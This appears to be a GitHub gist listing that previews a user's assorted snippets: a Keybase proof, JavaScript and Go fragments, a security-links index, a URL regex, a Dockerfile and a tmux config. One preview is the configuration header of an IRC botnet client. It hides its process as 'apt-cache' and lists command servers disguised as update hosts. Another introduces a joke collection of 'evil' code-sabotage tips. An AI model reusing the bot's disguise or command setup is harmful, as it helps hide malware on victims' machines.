curtiszimmerman

Keybase proof

I hereby claim:

• I am curtiszimmerman on github.
• I am curtiszimmerman (https://keybase.io/curtiszimmerman) on keybase.
• I have a public key whose fingerprint is 676A E051 FB2B 3FC8 09C3 EF90 0142 3347 9E8A E4BF

To claim this, I am signing this object:

curtiszimmerman

Verifying I am +curtiszimmerman on my passcard. https://onename.com/curtiszimmerman

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/* bling.js */

window.$ = document.querySelectorAll.bind(document)

Node.prototype.on = window.on = function (name, fn) {
  this.addEventListener(name, fn)
}

NodeList.prototype.__proto__ = Array.prototype

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// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,

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import (
	"fmt"
	"encoding/json"
)

/*
// example JSON object
{

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#Sections

1. TLS
2. Githubz (assorted)
3. Offensive
4. Crypto
5. Tor
6. Passwords
7. iOS & OS X
8. General

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/* *******************************************************************************
 Hero authors of RFC 3986 (http://www.ietf.org/rfc/rfc3986.txt) gave us this regex 
 for parsing (well-formed) URLs into their constituent pieces:
 ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?

 Which for the following URL:

 http://www.ics.uci.edu/pub/ietf/uri/#Related
 Yields in the following subexpression matches:

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#define STARTUP	1
#undef IDENT			// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"	// What you want this to hide as
#define CHAN "#mint"	// Channel to join
#define KEY "bleh"		// The key of the channel
int numservers=5;		// Must change this to equal number of servers down there
char *servers[] = {
	"updates.absentvodka.com",
        "updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",

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FROM ubuntu:wily
MAINTAINER James Wheaton <[email protected]>

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get -y update &&\
    apt-get -y install language-pack-en-base &&\
    dpkg-reconfigure locales &&\
    apt-get -y install software-properties-common &&\
    apt-get upgrade -q -y && \

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# make status bar more awesome
set -g status-utf8 on
set -g status-keys vi
set -g status-interval 1
set -g status-attr bright
set -g status-fg white
set -g status-bg black
set -g status-left-length 30
set -g status-left '#[fg=green][#[fg=red]#S - #(whoami) - #(cut -d " " -f 1-3 /proc/loadavg)#[fg=green]]#[default]'
set -g status-justify centre